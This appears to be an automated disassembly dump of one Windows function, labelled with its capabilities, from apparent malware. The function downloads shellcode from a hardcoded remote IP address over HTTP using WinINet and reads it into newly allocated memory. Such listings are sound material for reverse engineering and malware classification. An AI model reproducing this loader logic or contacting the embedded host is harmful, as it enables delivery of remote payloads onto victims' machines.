Function at 0x1400015c0
Capabilities:
Create http request
Query remote server for available data
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
sub rsp, 0x30
xor edi, edi
mov rbp, rdx
mov r12, rcx
lea rcx, str.DownloadShellcode
lea edx, [rdi + 1]
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], edi
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rsi, rax
test rax, rax
jne 0x140001679
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.InternetOpen_failed:
mov ebx, eax
call fcn.140004450
mov edx, ebx
mov rcx, rax
call fcn.1400019f0
mov dl, 0xa
mov rcx, rax
mov rbx, rax
call fcn.140001bd0
mov rcx, qword [rbx]
movsxd rcx, dword [rcx + 4]
test byte [rcx + rbx + 0x10], 6
jne 0x14000164b
mov rcx, qword [rcx + rbx + 0x48]
mov rdx, qword [rcx]
call qword [rdx + 0x68]
mov ecx, 4
cmp eax, 0xffffffff
cmove edi, ecx
mov rax, qword [rbx]
movsxd rcx, dword [rax + 4]
add rcx, rbx
test edi, edi
je 0x14000186b
mov edx, dword [rcx + 0x10]
or edx, edi
cmp qword [rcx + 0x48], 0
jne 0x14000166c
or edx, 4
xor r8d, r8d
call fcn.140001250
jmp 0x14000186b
lea rdx, str.http:__8.134.201.236_123.conf
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], 0x80000000
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
jne 0x140001721
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.InternetOpenUrl_failed:
mov ebx, eax
call fcn.140004450
mov edx, ebx
mov rcx, rax
call fcn.1400019f0
mov dl, 0xa
mov rcx, rax
mov rbx, rax
call fcn.140001bd0
mov rcx, qword [rbx]
movsxd rcx, dword [rcx + 4]
test byte [rcx + rbx + 0x10], 6
jne 0x1400016f3
mov rcx, qword [rcx + rbx + 0x48]
mov rdx, qword [rcx]
call qword [rdx + 0x68]
mov ecx, 4
cmp eax, 0xffffffff
cmove edi, ecx
mov rax, qword [rbx]
movsxd rcx, dword [rax + 4]
add rcx, rbx
test edi, edi
je 0x140001862
mov edx, dword [rcx + 0x10]
or edx, edi
cmp qword [rcx + 0x48], 0
jne 0x140001714
or edx, 4
xor r8d, r8d
call fcn.140001250
jmp 0x140001862
xor r9d, r9d
xor r8d, r8d
mov rdx, rbp
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetQueryDataAvailable]
mov ecx, dword [rbp]
call fcn.140006e1c
mov qword [r12], rax
test rax, rax
jne 0x1400017b1
lea rcx, str.Failed_to_allocate_memory_for_shellcode.
call fcn.140004450
mov dl, 0xa
mov rcx, rax
mov rbp, rax
call fcn.140001bd0
mov rcx, qword [rbp]
movsxd rcx, dword [rcx + 4]
test byte [rcx + rbp + 0x10], 6
jne 0x140001782
mov rcx, qword [rcx + rbp + 0x48]
mov rdx, qword [rcx]
call qword [rdx + 0x68]
mov ecx, 4
cmp eax, 0xffffffff
cmove edi, ecx
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
add rcx, rbp
test edi, edi
je 0x140001859
mov edx, dword [rcx + 0x10]
or edx, edi
cmp qword [rcx + 0x48], 0
jne 0x1400017a4
or edx, 4
xor r8d, r8d
call fcn.140001250
jmp 0x140001859
mov r8d, dword [rbp]
lea r9, [rsp + 0x60]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1400017ec
mov eax, dword [rbp]
cmp dword [rsp + 0x60], eax
jne 0x1400017ec
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov al, 1
jmp 0x14000186d
lea rcx, str.Failed_to_read_shellcode.
call fcn.140004450
mov dl, 0xa
mov rcx, rax
mov rbp, rax
call fcn.140001bd0
mov rcx, qword [rbp]
movsxd rcx, dword [rcx + 4]
test byte [rcx + rbp + 0x10], 6
jne 0x14000182a
mov rcx, qword [rcx + rbp + 0x48]
mov rdx, qword [rcx]
call qword [rdx + 0x68]
mov ecx, 4
cmp eax, 0xffffffff
cmove edi, ecx
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
add rcx, rbp
test edi, edi
je 0x140001850
mov edx, dword [rcx + 0x10]
or edx, edi
cmp qword [rcx + 0x48], 0
jne 0x140001848
or edx, 4
xor r8d, r8d
call fcn.140001250
mov rcx, qword [r12]
call fcn.1400079b8
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor al, al
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
add rsp, 0x30
pop r12
pop rdi
pop rsi
ret